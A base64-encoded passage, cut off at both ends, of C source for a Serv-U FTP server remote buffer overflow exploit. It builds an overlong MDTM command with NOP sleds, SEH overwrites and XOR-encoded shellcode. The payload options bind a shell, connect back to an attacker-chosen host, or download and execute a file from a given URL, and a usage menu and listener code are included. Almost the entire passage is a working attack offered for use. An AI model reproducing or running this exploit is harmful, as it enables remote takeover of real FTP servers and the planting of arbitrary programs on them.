QVx4NTkiDQoiXHhGMVx4RkFceEY0XHhGRFx4OTlceDEwXHhGRlx4QTlceDFBXHg3NVx4Q0RceDEy
XHg2NVx4RjNceDg5XHhDMCINCiJceDEwXHg5RFx4MTZceDdCXHg2Mlx4NUZceERFXHg4OVx4RERc
eDY3XHhERVx4QTVceDY3XHhERVx4QTRceDEwIg0KIlx4QzZceEQxXHgxMFx4QzZceEQ1XHgxMFx4
QzZceEM5XHgxNFx4RERceEJEXHg4OVx4Q0VceEM5XHhDOFx4QzgiDQoiXHhDOFx4RjNceDk4XHhD
OFx4QzhceDY2XHhFRlx4QTlceEM4XHg2Nlx4Q0ZceDlEXHgxMlx4NTVceEYzXHg2NiINCiJceDY2
XHhBOFx4NjZceENGXHg5MVx4Q0FceDY2XHhDRlx4ODVceDY2XHhDRlx4OTVceEM4XHhDRlx4MTJc
eEVDIg0KIlx4QTVceDEyXHhFRFx4QjdceEUxXHg5QVx4NkNceENGXHgxMlx4RUZceEI5XHg5QVx4
NkNceDcyXHg5RVx4MDkiDQoiXHgwOVx4MDlceDA5XHgwOVx4MDlceDA5XHhBQVx4NTBceEQwXHhE
OFx4MzRceDlBXHg1Q1x4QUFceDQyXHg5NiINCiJceDI3XHg4OVx4QTNceDRGXHhFRFx4OTFceDU4
XHg1Mlx4OTRceDlBXHg0M1x4RDlceDcyXHg2OFx4QTJceDg2Ig0KIlx4RUNceDdFXHhDN1x4MTJc
eEM3XHhCRFx4OUFceDQ0XHhGRlx4MTJceDk1XHhEMlx4MTJceEM3XHg4NVx4OUEiDQoiXHg0NFx4
MTJceDlEXHgxMlx4OUFceDVDXHgzMlx4QzdceEMwXHg1QVx4NzFceDZGXHg2N1x4NjZceDY2XHgx
NyINCiJceEQ3XHg5N1x4NzVceEVCXHg2N1x4MkFceDhGXHgzNFx4NDBceDlDXHg1N1x4RTdceDQx
XHg3Qlx4RUFceDUyIg0KIlx4NzRceDY1XHhBMlx4NDBceDkwXHg2Q1x4MzRceDc1XHg2MFx4MzNc
eEY5XHg3RVx4RTBceDVGXHhFMFx4OTkiOw0KDQovLyAxOTQgYnl0ZXMgZG93bmxvYWQgdXJsIGZp
bGUgYW5kIGV4ZWMgc2hlbGxjb2RlIGJ5IGxpb24gKHhvciB3aXRoIDB4OTkpDQovLyBUZXN0ZWQg
b24gU2Vydi1VIDMueC80LngvNS54DQp1bnNpZ25lZCBjaGFyIGR1c2NbXT0NCiJceDcwXHgzRFx4
OTlceDk5XHg5OVx4QzZceEZEXHgzOFx4QTlceDk5XHg5OVx4OTlceDEyXHhEOVx4OTVceDEyIg0K
Ilx4RTlceDg1XHgzNFx4MTJceEYxXHg5MVx4MTJceDZFXHhGM1x4OURceEMwXHg3MVx4RERceDk5
XHg5OVx4OTkiDQoiXHg3Qlx4NjBceEYxXHhGNlx4RjdceDk5XHg5OVx4RjFceEVDXHhFQlx4RjVc
eEY0XHhDRFx4NjZceDhGXHgxMiINCiJceDcxXHg3MVx4QjdceDk5XHg5OVx4OTlceDFBXHg3NVx4
QjlceDEyXHg0NVx4RjNceEI5XHhDQVx4NjZceENGIg0KIlx4OURceDVFXHg5RFx4OUFceEM1XHhG
OFx4QjdceEZDXHg1RVx4RERceDlBXHg5RFx4RTFceEZDXHg5OVx4OTkiDQoiXHhBQVx4NTlceEM5
XHhDOVx4Q0FceENFXHhDOVx4NjZceENGXHg4OVx4MTJceDQ1XHhDOVx4Q0FceDY2XHhDRiINCiJc
eDkxXHg2Nlx4Q0ZceDk1XHhDOFx4Q0ZceDEyXHhFQ1x4QTVceDEyXHhFRFx4QjdceEUxXHg5QVx4
NkNceENGIg0KIlx4MTJceEVGXHhCOVx4OUFceDZDXHhBQVx4NTBceEQwXHhEOFx4MzRceDlBXHg1
Q1x4QUFceDQyXHg5Nlx4MjciDQoiXHg4OVx4QTNceDRGXHhFRFx4OTFceDU4XHg1Mlx4OTRceDlB
XHg0M1x4RDlceDcyXHg2OFx4QTJceDg2XHhFQyINCiJceDdFXHhDN1x4MTJceEM3XHhCRFx4OUFc
eDQ0XHhGRlx4MTJceDk1XHhEMlx4MTJceEM3XHg4NVx4OUFceDQ0Ig0KIlx4MTJceDlEXHgxMlx4
OUFceDVDXHgzMlx4QzdceEMwXHg1QVx4NzFceENFXHg2Nlx4NjZceDY2XHgxN1x4RDciDQoiXHg5
N1x4NzVceDU4XHhFMFx4N0NceDIxXHgwMVx4NjdceDEzXHg5N1x4RTdceDQxXHg3Qlx4RUFceEFG
XHg4MyINCiJceEI2XHhFOSI7DQoNCi8vIGV4ZWMgZmlsZSB1cmwgYWRkciBmb3IgZG93bmxvYWQg
dXJsIGZpbGUgYW5kIGV4ZWMgc2hlbGxjb2RlDQp1bnNpZ25lZCBjaGFyIGRvd25sb2FkdXJsWzI1
NV09ICIiOw0KDQoNCnZvaWQgc2hvd3R5cGUoKQ0Kew0KCWludCBpOw0KLy8JdXNhZ2UocCk7DQoJ
cHJpbnRmKCAiW1R5cGVdOlxuIik7DQoJZm9yKGk9MDtpPHNpemVvZih0YXJnZXRzKS9zaXplb2Yo
dik7aSsrKQ0KCXsNCgkJcHJpbnRmKCJcdCVkXHQweCV4XHQlc1xuIiwgaSwgdGFyZ2V0c1tpXS5k
d0pNUCwgdGFyZ2V0c1tpXS5zekRlc2NyaXB0aW9uKTsNCgl9DQp9DQoNCnZvaWQgdXNhZ2UoY2hh
ciAqcCkNCnsNCglwcmludGYoICJVc2FnZTpcdCVzXHQtaSA8aXA+IFtPcHRpb25zXVxuIg0KCQki
XHRcdC10XHRTaG93IEFsbCBUYXJnZXQgVHlwZS5cblxuIg0KCQkiW09wdGlvbnM6XVxuIg0KCQki
XHQtaVx0VGFyZ2V0IElQICAgICAgICAgICAgICAgICAgICAgUmVxdWlyZWRcbiINCgkJIlx0LXRc
dFRhcmdldCBUeXBlICAgICAgICAgICAgICAgICAgIERlZmF1bHQ6ICVkXG4iDQoJCSJcdC11XHRG
VFAgVXNlcm5hbWUgICAgICAgICAgICAgICAgICBEZWZhdWx0OiAlc1xuIg0KCQkiXHQtcFx0RlRQ
IFBhc3N3b3JkICAgICAgICAgICAgICAgICAgRGVmYXVsdDogJXNcbiINCgkJIlx0LWZcdFBvcnQg
b2YgdGhlIEZUUCBTZXJ2ZXIgICAgICAgIERlZmF1bHQ6ICVkXG4iDQoJCSJcdC1zXHRQb3J0IG9m
IHRoZSBTaGVsbCAgICAgICAgICAgICBEZWZhdWx0OiAlZFxuIg0KCQkiXHQtY1x0Q29ubmVjdCBi
YWNrIElQICAgICAgICAgICAgICAgRm9yIGNvbm5lY3RiYWNrIHNoZWxsY29kZVxuIg0KCQkiXHQt
ZFx0RG93bmxvYWQgdGhlIFVSTCBhbmQgRXhlYyAgICAgU3RhcnQgd2l0aCAnaHR0cDovLycgb3Ig
J2Z0cDovLydcblxuIg0KCQksIHAsIERFRlRZUEUsIERFRlVTRVIsIERFRlBBU1MsIEZUUFBPUlQs
IFNIRUxMUE9SVCk7CQ0KDQoJLy9zaG93dHlwZSgpOw0KfQ0KDQovKiByaXBwZWQgZnJvbSBURVNP
IGNvZGUgYW5kIG1vZGlmZWQgYnkgZXk0cyBmb3Igd2luMzIgKi8NCnZvaWQgc2hlbGwgKGludCBz
b2NrKQ0Kew0KCWludCAgICAgbDsNCgljaGFyICAgIGJ1Zls1MTJdOw0KCXN0cnVjdAl0aW1ldmFs
IHRpbWU7DQoJdW5zaWduZWQgbG9uZwl1bFsyXTsNCg0KCXRpbWUudHZfc2VjID0gMTsNCgl0aW1l
LnR2X3VzZWMgPSAwOw0KDQoJd2hpbGUgKDEpDQoJew0KCQl1bFswXSA9IDE7DQoJCXVsWzFdID0g
c29jazsNCg0KCQlsID0gc2VsZWN0ICgwLCAoZmRfc2V0ICopJnVsLCBOVUxMLCBOVUxMLCAmdGlt
ZSk7DQoJCWlmKGwgPT0gMSkNCgkJew0KCQkJbCA9IHJlY3YgKHNvY2ssIGJ1Ziwgc2l6ZW9mIChi
dWYpLCAwKTsNCgkJCWlmIChsIDw9IDApDQoJCQl7DQoJCQkJcHJpbnRmICgiWy1dIENvbm5lY3Rp
b24gY2xvc2VkLlxuIik7DQoJCQkJcmV0dXJuOw0KCQkJfQ0KCQkJbCA9IHdyaXRlICgxLCBidWYs
IGwpOw0KCQkJaWYgKGwgPD0gMCkNCgkJCXsNCgkJCQlwcmludGYgKCJbLV0gQ29ubmVjdGlvbiBj
bG9zZWQuXG4iKTsNCgkJCQlyZXR1cm47DQoJCQl9DQoJCX0NCgkJZWxzZQ0KCQl7DQoJCQlsID0g
cmVhZCAoMCwgYnVmLCBzaXplb2YgKGJ1ZikpOw0KCQkJaWYgKGwgPD0gMCkNCgkJCXsNCgkJCQlw
cmludGYoIlstXSBDb25uZWN0aW9uIGNsb3NlZC5cbiIpOw0KCQkJCXJldHVybjsNCgkJCX0NCgkJ
CWwgPSBzZW5kKHNvY2ssIGJ1ZiwgbCwgMCk7DQoJCQlpZiAobCA8PSAwKQ0KCQkJew0KCQkJCXBy
aW50ZigiWy1dIENvbm5lY3Rpb24gY2xvc2VkLlxuIik7DQoJCQkJcmV0dXJuOw0KCQkJfQ0KCQl9
DQoJfQ0KfQ0KDQppbnQgbWFpbihpbnQgYXJnYywgY2hhciAqKmFyZ3YpDQp7DQoJc3RydWN0CXNv
Y2thZGRyX2luIHNhLCBzZXJ2ZXIsIGNsaWVudDsNCiNpZm5kZWYgVU5JWA0KCVdTQURBVEEJd3Nk
Ow0KI2VuZGlmDQoJU09DS0VUCXMsIHMyLCBzMzsNCglpbnQJaUVyciwgcmV0LCBsZW47DQoJY2hh
cglzelJlY3ZCdWZmW01BWF9MRU5dOw0KCWludAlpLGo7DQoJaW50CWlUeXBlID1ERUZUWVBFLCBp
UG9ydD1GVFBQT1JUOw0KCWNoYXIJKmlwPU5VTEwsICpwVXNlcj1ERUZVU0VSLCAqcFBhc3M9REVG
UEFTUywgKmNiSG9zdD1OVUxMLCAqdXJsOw0KCWNoYXIJdXNlclsxMjhdLCBwYXNzWzEyOF07DQoJ
Qk9PTAliQ2I9RkFMU0UsYlVybD1GQUxTRSwgYkxvY2FsPVRSVUUsIGIyeD1GQUxTRTsNCgl1bnNp
Z25lZCBzaG9ydAlzaHBvcnQ9U0hFTExQT1JULCBzaHBvcnQyPTA7DQoJdW5zaWduZWQgbG9uZwlj
YmlwOw0KCXVuc2lnbmVkIGludAl0aW1lb3V0PTUwMDAsIFJldXNlOw0KCWNoYXIJcGVuZXRyYXRl
WzI1NV0sY2JIb3N0MlsyMF07DQoJDQoJcHJpbnRmKCAiU2Vydi1VIEZUUEQgMi54LzMueC80Lngv
NS54IHJlbW90ZSBvdmVyZmxvdyBleHBsb2l0IFYlcyAoMjAwNC0wMS0wNylcclxuIg0KCQkiQnVn
IGZpbmQgYnkgYmtibGwgKGJrYmxsQGNuaG9ua2VyLm5ldCksIENvZGUgYnkgbGlvbiAobGlvbkBj
bmhvbmtlci5uZXQpXHJcbiINCgkJIldlbGNvbWUgdG8gSFVDIHdlYnNpdGUgaHR0cDovL3d3dy5j
bmhvbmtlci5jb21cclxuXG4iDQoJCSAJLCBWRVJTSU9OKTsNCg0KCWlmKGFyZ2MgPCAyKQ0KCXsN
CgkJdXNhZ2UoYXJndlswXSk7DQoJCXJldHVybiAxOw0KCX0NCgllbHNlIGlmKGFyZ2MgPT0gMiAm
JiBhcmd2WzFdWzFdID09ICd0JykNCgl7DQoJCXNob3d0eXBlKCk7DQoJCXJldHVybiAxOw0KCX0N
Cg0KCWZvcihpPTE7aTxhcmdjO2krPTIpDQoJew0KCQlpZihzdHJsZW4oYXJndltpXSkgIT0gMikN
CgkJew0KCQkJdXNhZ2UoYXJndlswXSk7DQoJCQlyZXR1cm4gLTE7DQoJCX0NCgkJLy8gY2hlY2sg
cGFyYW1ldGVyDQoJCWlmKGkgPT0gYXJnYy0xKQ0KCQl7DQoJCQl1c2FnZShhcmd2WzBdKTsNCgkJ
CXJldHVybiAtMTsNCgkJfQ0KCQlzd2l0Y2goYXJndltpXVsxXSkNCgkJew0KCQkJY2FzZSAnaSc6
DQoJCQkJaXA9YXJndltpKzFdOw0KCQkJCWJyZWFrOw0KCQkJY2FzZSAndCc6DQoJCQkJaVR5cGUg
PSBhdG9pKGFyZ3ZbaSsxXSk7DQoJCQkJYnJlYWs7DQoJCQljYXNlICdmJzoNCgkJCQlpUG9ydD1h
dG9pKGFyZ3ZbaSsxXSk7DQoJCQkJYnJlYWs7DQoJCQljYXNlICdwJzoNCgkJCQlwUGFzcyA9IGFy
Z3ZbaSsxXTsNCgkJCQlicmVhazsNCgkJCWNhc2UgJ3UnOg0KCQkJCXBVc2VyPWFyZ3ZbaSsxXTsN
CgkJCQlicmVhazsNCgkJCWNhc2UgJ3MnOg0KCQkJCXNocG9ydD1hdG9pKGFyZ3ZbaSsxXSk7DQoJ
CQkJYnJlYWs7DQoJCQljYXNlICdjJzoNCgkJCQljYkhvc3Q9YXJndltpKzFdOw0KCQkJCWJDYj1U
UlVFOw0KCQkJCWJyZWFrOw0KCQkJY2FzZSAnZCc6DQoJCQkJdXJsID0gYXJndltpKzFdOw0KCQkJ
CWJVcmw9VFJVRTsNCgkJCQlicmVhazsNCgkJCQkNCgkJfQ0KCX0NCg0KCWlmKCghaXApIHx8ICgh
dXNlcikgfHwgKCFwYXNzKSkNCgl7DQoJCXVzYWdlKGFyZ3ZbMF0pOw0KCQlwcmludGYoIlstXSBJ
bnZhbGlkIHBhcmFtZXRlci5cbiIpOw0KCQlyZXR1cm4gLTE7DQoJfQ0KDQoJaWYoIChpVHlwZTww
KSB8fCAoaVR5cGU+PXNpemVvZih0YXJnZXRzKS9zaXplb2YodikpICkNCgl7DQoJCXVzYWdlKGFy
Z3ZbMF0pOw0KCQlwcmludGYoIlstXSBJbnZhbGlkIHR5cGUuXG4iKTsNCgkJcmV0dXJuIC0xOw0K
CX0NCg0KCWlmKGlQb3J0IDwxIHx8IGlQb3J0ID42NTUzNSB8fCBzaHBvcnQgPDEgfHwgc2hwb3J0
ID4gNjU1MzUpDQoJew0KCQl1c2FnZShhcmd2WzBdKTsNCgkJcHJpbnRmKCJbLV0gSW52YWxpZCBw
b3J0LlxuIik7DQoJCXJldHVybiAtMTsNCgl9DQoNCglpZihiVXJsKQ0KCXsNCgkJaWYoICghc3Ry
c3RyKHVybCwgImh0dHA6Ly8iKSAmJiAgIXN0cnN0cih1cmwsICJmdHA6Ly8iKSkgfHwgc3RybGVu
KHVybCkgPCAxMCB8fCBzdHJsZW4odXJsKSA+IDI1NSkNCgkJew0KCQkJdXNhZ2UoYXJndlswXSk7
DQoJCQlwcmludGYoIlstXSBJbnZhbGlkIHVybC4gTXVzdCBzdGFydCB3aXRoICdodHRwOi8vJywn
ZnRwOi8vJyBhbmQgPDI1NSBieXRlcy5cbiIpOw0KCQkJcmV0dXJuIC0xOwkJCQkNCgkJfQ0KCX0N
CgkNCglpZihzdHJzdHIodGFyZ2V0c1tpVHlwZV0uc3pEZXNjcmlwdGlvbiwgIjIueCIpKQ0KCXsN
CgkJYjJ4ID0gVFJVRTsNCgkJcHJpbnRmKCJbKl0gQXR0YWNrIFRhcmdldCBpcyBTZXJ2LVUgMi54
LlxyXG4iKTsNCgl9DQoJZWxzZQ0KCXsNCgkJcHJpbnRmKCJbKl0gQXR0YWNrIFRhcmdldCBpcyBT
ZXJ2LVUgMy54LzQueC81LnguXHJcbiIpOw0KCX0NCgkNCglfc25wcmludGYodXNlciwgc2l6ZW9m
KHVzZXIpLTEsICJVU0VSICVzXHJcbiIsIHBVc2VyKTsNCgl1c2VyW3NpemVvZih1c2VyKS0xXT0n
XDAnOw0KCV9zbnByaW50ZihwYXNzLCBzaXplb2YocGFzcyktMSwgIlBBU1MgJXNcclxuIiwgcFBh
c3MpOw0KCXBhc3Nbc2l6ZW9mKHBhc3MpLTFdPSdcMCc7DQoJc3pTZW5kWzBdID0gdXNlcjsJLy91
c2VyDQoJc3pTZW5kWzFdID0gcGFzczsJLy9wYXNzCQ0KCXN6U2VuZFsyXSA9IHBlbmV0cmF0ZTsJ
Ly9wZW50cmF0ZQ0KCXN6U2VuZFszXSA9IHN6Q29tbWFuZDsJLy9zaGVsbGNvZGUNCgkNCgkvLyBQ
ZW5ldHJhdGUgdGhyb3VnaCB0aGUgZmlyZXdhbGwuDQoJaWYoYkNiICYmIHNocG9ydCA+IDEwMjQp
DQoJew0KCQlzdHJuY3B5KGNiSG9zdDIsIGNiSG9zdCwgMjApOw0KCQlmb3IoaT0wO2k8c3RybGVu
KGNiSG9zdCk7IGkrKykNCgkJew0KCQkJaWYoY2JIb3N0W2ldID09ICcuJykNCgkJCQljYkhvc3Qy
W2ldID0gJywnOw0KCQl9DQoJCQ0KCQlzcHJpbnRmKHBlbmV0cmF0ZSwgIlBPUlQgJXMsJWQsJWRc
clxuIiwgY2JIb3N0Miwgc2hwb3J0LzI1Niwgc2hwb3J0JTI1Nik7DQoNCgkJLy9wcmludGYoIiVz
IiwgcGVuZXRyYXRlKTsNCgl9DQoJZWxzZQ0KCXsNCgkJc3ByaW50ZihwZW5ldHJhdGUsIlRZUEUg
SVxyXG4iKTsJCQ0KCX0NCg0KCS8vIGZpbGwgdGhlICJNRFRNIiBjb21tYW5kDQoJc3RyY3B5KHN6
Q29tbWFuZCwgIk1EVE0gMjAwMzExMTExMTExMTErIik7DQoNCgkvLyBmaWxsIHRoZSBlZ2cNCglm
b3IoaT0wOyBpPFNFSF9PRkZTRVQ7IGkrKykNCgl7DQoJCXN0cmNhdChzekNvbW1hbmQsICJceDkw
Iik7DQoJfQ0KDQoJLy8gcmV0IGFkZHINCglpZihiMngpDQoJew0KDQoJCS8vIGZpbGwgdGhlIGVn
Zw0KCQlpZihzdHJzdHIodGFyZ2V0c1tpVHlwZV0uc3pEZXNjcmlwdGlvbiwgIjwiKSkNCgkJew0K
CQkJaiA9IDg7DQoJCX0NCgkJZWxzZQ0KCQl7DQoJCQlqID0gNDsNCgkJfQ0KCQlmb3IoaT0wOyBp
PGo7IGkrKykNCgkJew0KCQkJc3RyY2F0KHN6Q29tbWFuZCwgIlx4OTAiKTsNCgkJfQ0KCQkNCgkJ
bWVtY3B5KCZzekNvbW1hbmRbc3RybGVuKHN6Q29tbWFuZCldLCAmdGFyZ2V0c1tpVHlwZV0uZHdK
TVAsIDQpOw0KCQkNCgkJbWVtY3B5KCZzekNvbW1hbmRbUkVBRF9PRkZTRVRdLCAmUkVBRF9BRERS
LCA0KTsNCgkJDQoJCS8vIGZpbGwgdGhlIGRlY29kZQ0KCQlzdHJjYXQoc3pDb21tYW5kLCBkZWNv
ZGUpOw0KCX0NCgllbHNlDQoJew0KCQkNCgkJLy8gZmlsbCB0aGUgc2VoDQoJCWZvcihpPTA7IGk8
MHgxMCoxOyBpKz04KQ0KCQkvL2ZvcihpPTA7IGk8MTsgaSsrKQ0KCQl7DQoJCQltZW1jcHkoJnN6
Q29tbWFuZFtzdHJsZW4oc3pDb21tYW5kKV0sICZKTVBfT1ZFUiwgNCk7DQoJCQltZW1jcHkoJnN6
Q29tbWFuZFtzdHJsZW4oc3pDb21tYW5kKV0sICZ0YXJnZXRzW2lUeXBlXS5kd0pNUCwgNCk7DQoJ
CX0NCgkNCgkJLy8gZmlsbCB0aGUgZGVjb2RlDQoJCXN0cmNhdChzekNvbW1hbmQsIGRlY29kZTIp
OwkNCgl9DQoNCgkvLyBmaWxsIHRoZSBzcGFjZQ0KCXN0cmNhdChzekNvbW1hbmQsICIgIik7DQoN
CgkvLyBmaWxsIHRoZSBlZ2cNCglmb3IoaT0wOyBpPDB4MTA7IGkrKykNCgl7DQoJCXN0cmNhdChz
ekNvbW1hbmQsICJceDkwIik7DQoJfQ0KDQoJLy8gZmlsbCB0aGUgc2hlbGxjb2RlIHN0YXJ0IHNp
Z24NCglzdHJjYXQoc3pDb21tYW5kLCBzY19zdGFydCk7DQoNCgkvLyBmaWxsIHRoZSBzaGVsbGNv
ZGUNCiAgICAgICAgaWYoYkNiKQ0KCXsNCgkJLy8gY29ubmVjdGJhY2sgc2hlbGxjb2RlDQoJCXNo
cG9ydDIgPSBodG9ucyhzaHBvcnQpXih1X3Nob3J0KTB4OTk5OTsNCgkJY2JpcCA9IGluZXRfYWRk
cihjYkhvc3QpXjB4OTk5OTk5OTk7DQoJCW1lbWNweSgmY2JzY1tQT1JUX09GRlNFVF0sICZzaHBv
cnQyLCAyKTsNCgkJbWVtY3B5KCZjYnNjW0lQX09GRlNFVF0sICZjYmlwLCA0KTsNCgkJc3RyY2F0
KHN6Q29tbWFuZCwgY2JzYyk7CQkNCgl9DQoJZWxzZQ0KCWlmKGJVcmwpDQoJew0KCQltZW1zZXQo
ZG93bmxvYWR1cmwsIDAsIHNpemVvZihkb3dubG9hZHVybCkpOw0KDQoJCS8vIGRvd25sb2FkIHVy
bCBleGVjIHNoZWxsY29kZQ0KCQlmb3IoaT0wO2k8c3RybGVuKHVybCk7aSsrKQ0KCQl7DQoJCQlk
b3dubG9hZHVybFtpXSA9IHVybFtpXSBeIDB4OTk7DQoJCX0NCgkJDQoJCWRvd25sb2FkdXJsW2ld
IF49IDB4OTk7DQoJCXN0cmNhdChzekNvbW1hbmQsIGR1c2MpOw0KCQlzdHJjYXQoc3pDb21tYW5k
LCBkb3dubG9hZHVybCk7CQkNCgl9IA0KICAgICAgICBlbHNlIA0KCXsNCgkJLy8gcmViaW5kIHNo
ZWxsY29kZQ0KCQlzaHBvcnQyID0gaHRvbnMoc2hwb3J0KV4odV9zaG9ydCkweDk5OTk7DQoJCW1l
bWNweSgmc2NbQklORF9PRkZTRVRdLCAmc2hwb3J0MiwgMik7DQoJCXN0cmNhdChzekNvbW1hbmQs
IHNjKTsNCgl9DQoNCgkvLyBmaWxsIHRoZSBzaGVsbGNvZGUgZW5kIHNpZ24NCglzdHJjYXQoc3pD
b21tYW5kLCBzY19lbmQpOw0KDQoJLy8gc2VuZCBlbmQNCglzdHJjYXQoc3pDb21tYW5kLCAiXHJc
biIpOw0KDQoJaWYoc3RybGVuKHN6Q29tbWFuZCkgPj0gc2l6ZW9mKHN6Q29tbWFuZCkpDQoJew0K
CQlwcmludGYoIlstXSBzdGFjayBidWZmZXIgb3ZlcmZsb3cuXG4iKTsNCgkJcmV0dXJuIC0xOw0K
CX0NCgkNCgkvL3ByaW50Zigic2VuZCBzaXplICVkOiVzIiwgc3RybGVuKHN6Q29tbWFuZCksIHN6
Q29tbWFuZCk7DQoJLy9wcmludGYoImJ1ZmZzaXplICVkXHJcbiIsIHN0cmxlbihzekNvbW1hbmQp
LTUtMik7DQoJDQojaWZuZGVmIFVOSVgNCglfX3RyeQ0KI2VuZGlmDQoJew0KDQojaWZuZGVmIFVO
SVgNCgkJaWYgKFdTQVN0YXJ0dXAoTUFLRVdPUkQoMSwxKSwgJndzZCkgIT0gMCkNCgkJew0KCQkJ
cHJpbnRmKCJbLV0gV1NBU3RhcnR1cCBlcnJvcjolZFxuIiwgV1NBR2V0TGFzdEVycm9yKCkpOw0K
CQkJX19sZWF2ZTsNCgkJfQ0KI2VuZGlmDQoJCXM9c29ja2V0KEFGX0lORVQsIFNPQ0tfU1RSRUFN
LCBJUFBST1RPX1RDUCk7DQoJCWlmKHMgPT0gSU5WQUxJRF9TT0NLRVQpDQoJCXsNCgkJCXByaW50
ZigiWy1dIENyZWF0ZSBzb2NrZXQgZmFpbGVkOiVkIixHZXRMYXN0RXJyb3IoKSk7DQoJCQlfX2xl
YXZlOw0KCQl9DQoNCgkJc2Euc2luX2ZhbWlseT1BRl9JTkVUOw0KCQlzYS5zaW5fcG9ydD1odG9u
cygoVVNIT1JUKWlQb3J0KTsNCg0KI2lmbmRlZiBVTklYDQoJCXNhLnNpbl9hZGRyLlNfdW4uU19h
ZGRyPWluZXRfYWRkcihpcCk7DQojZWxzZQ0KCQlzYS5zaW5fYWRkci5zX2FkZHI9aW5ldF9hZGRy
KGlwKTsNCiNlbmRpZg0KCQlzZXRzb2Nrb3B0KHMsU09MX1NPQ0tFVCxTT19SQ1ZUSU1FTywoY2hh
ciAqKSZ0aW1lb3V0LHNpemVvZih1bnNpZ25lZCBpbnQpKTsNCgkJaUVyciA9IGNvbm5lY3Qocywo
c3RydWN0IHNvY2thZGRyICopJnNhLHNpemVvZihzYSkpOw0KCQlpZihpRXJyID09IFNPQ0tFVF9F
UlJPUikNCgkJew0KCQkJcHJpbnRmKCJbLV0gQ29ubmVjdCB0byAlczolZCBlcnJvcjolZFxuIiwg
aXAsIGlQb3J0LCBHZXRMYXN0RXJyb3IoKSk7DQoJCQlfX2xlYXZlOw0KCQl9DQoJCXByaW50Zigi
WytdIENvbm5lY3QgdG8gJXM6JWQgc3VjY2Vzcy5cbiIsIGlwLCBpUG9ydCk7DQoJCQ0KCQlpZihi
Q2IpDQoJCXsNCgkJCVNsZWVwKDUwMCk7DQoJCQlzMiA9IHNvY2tldChBRl9JTkVULFNPQ0tfU1RS
RUFNLElQUFJPVE9fVENQKTsNCg0KCQkJc2VydmVyLnNpbl9mYW1pbHk9QUZfSU5FVDsNCg0KI2lm
bmRlZiBVTklYDQoJCQlzZXJ2ZXIuc2luX2FkZHIuU191bi5TX2FkZHI9aW5ldF9hZGRyKGNiSG9z
dCk7DQoJCQkvL3NlcnZlci5zaW5fYWRkci5zX2FkZHI9SU5BRERSX0FOWTsgDQojZWxzZQ0KCQkJ
c2VydmVyLnNpbl9hZGRyLnNfYWRkcj1pbmV0X2FkZHIoY2JIb3N0KTsNCiNlbmRpZgkJCQ0KCQkJ
DQoJCQlzZXJ2ZXIuc2luX3BvcnQ9aHRvbnMoKHVuc2lnbmVkIHNob3J0KXNocG9ydCk7DQoNCgkJ
CXNldHNvY2tvcHQoczIsU09MX1NPQ0tFVCxTT19SQ1ZUSU1FTywoY2hhciAqKSZ0aW1lb3V0LHNp
emVvZih1bnNpZ25lZCBpbnQpKTsNCg0KCQkJUmV1c2UgPSAxOyANCgkJCXNldHNvY2tvcHQoczIs
IFNPTF9TT0NLRVQsIFNPX1JFVVNFQUREUiwgKGNoYXIqKSZSZXVzZSwgc2l6ZW9mKFJldXNlKSk7
DQoNCgkJCWlmKGJpbmQoczIsKExQU09DS0FERFIpJnNlcnZlcixzaXplb2Yoc2VydmVyKSk9PVNP
Q0tFVF9FUlJPUikNCgkJCXsNCgkJCQlwcmludGYoIlstXSBCaW5kIHBvcnQgb24gJXM6JWQgZXJy
b3IuXG4iLCBjYkhvc3QsIHNocG9ydCk7DQoJCQkJcHJpbnRmKCJbLV0gWW91IG11c3QgcnVuIG5j
IGdldCB0aGUgc2hlbGwuXG4iKTsNCgkJCQliTG9jYWwgPSBGQUxTRTsNCgkJCQkvL2Nsb3Nlc29j
a2V0KHMyKTsNCgkJCQkvL19fbGVhdmU7DQoJCQl9DQoJCQllbHNlDQoJCQl7CQ0KCQkJCXByaW50
ZigiWytdIEJpbmQgcG9ydCBvbiAlczolZCBzdWNjZXNzLlxuIiwgY2JIb3N0LCBzaHBvcnQpOw0K
CQkJCWxpc3RlbihzMiwgMSk7IA0KCQkJfQ0KCQl9DQoJCQ0KCQlmb3IoaT0wO2k8c2l6ZW9mKHN6
U2VuZCkvc2l6ZW9mKHN6U2VuZFswXSk7aSsrKQ0KCQl7DQoJCQltZW1zZXQoc3pSZWN2QnVmZiwg
MCwgc2l6ZW9mKHN6UmVjdkJ1ZmYpKTsNCgkJCWlFcnIgPSByZWN2KHMsIHN6UmVjdkJ1ZmYsIHNp
emVvZihzelJlY3ZCdWZmKSwgMCk7DQoJCQlpZihpRXJyID09IFNPQ0tFVF9FUlJPUikNCgkJCXsN
CgkJCQlwcmludGYoIlstXSBSZWN2IGJ1ZmZlciBlcnJvcjolZC5cbiIsIFdTQUdldExhc3RFcnJv
cigpKTsNCgkJCQlfX2xlYXZlOw0KCQkJfQ0KCQkJcHJpbnRmKCJbK10gUmVjdjogJXMiLCBzelJl
Y3ZCdWZmKTsNCgkJCQ0KCQkJaWYoc3pSZWN2QnVmZlswXSA9PSAnNScpDQoJCQl7DQoJCQkJcHJp
bnRmKCJbLV0gU2VydmVyIHJldHVybiBhIGVycm9yIE1lc3NhZ2UuXHJcbiIpOw0KCQkJCV9fbGVh
dmU7DQoJCQl9DQoNCgkJCWlFcnIgPSBzZW5kKHMsIHN6U2VuZFtpXSwgc3RybGVuKHN6U2VuZFtp
XSksMCk7DQoJCQlpZihpRXJyID09IFNPQ0tFVF9FUlJPUikNCgkJCXsNCgkJCQlwcmludGYoIlst
XSBTZW5kIGJ1ZmZlciBlcnJvcjolZC5cbiIsIFdTQUdldExhc3RFcnJvcigpKTsNCgkJCQlfX2xl
YXZlOw0KCQkJfQ0KDQoJCQlpZihpPT1zaXplb2Yoc3pTZW5kKS9zaXplb2Yoc3pTZW5kWzBdKS0x
KQ0KCQkJCXByaW50ZigiWytdIFNlbmQgc2hlbGxjb2RlICVkIGJ5dGVzLlxuIiwgaUVycik7DQoJ
CQllbHNlDQoJCQkJcHJpbnRmKCJbK10gU2VuZDogJXMiLCBzelNlbmRbaV0pOw0KCQl9DQoNCgkJ
aWYoYlVybCkNCgkJew0KCQkJcHJpbnRmKCJbK10gVGFyZ2V0IERvd25sb2FkIHRoZSBmaWxlIGFu
ZCBleGVjOiAlc1xyXG4iLCB1cmwpOw0KCQkJcHJpbnRmKCJbK10gU3VjY2Vzcz8gTWF5YmUhXHJc
biIpOw0KCQl9DQoJCWVsc2UNCgkJew0KCQkJcHJpbnRmKCJbK10gSWYgeW91IGRvbid0IGhhdmUg
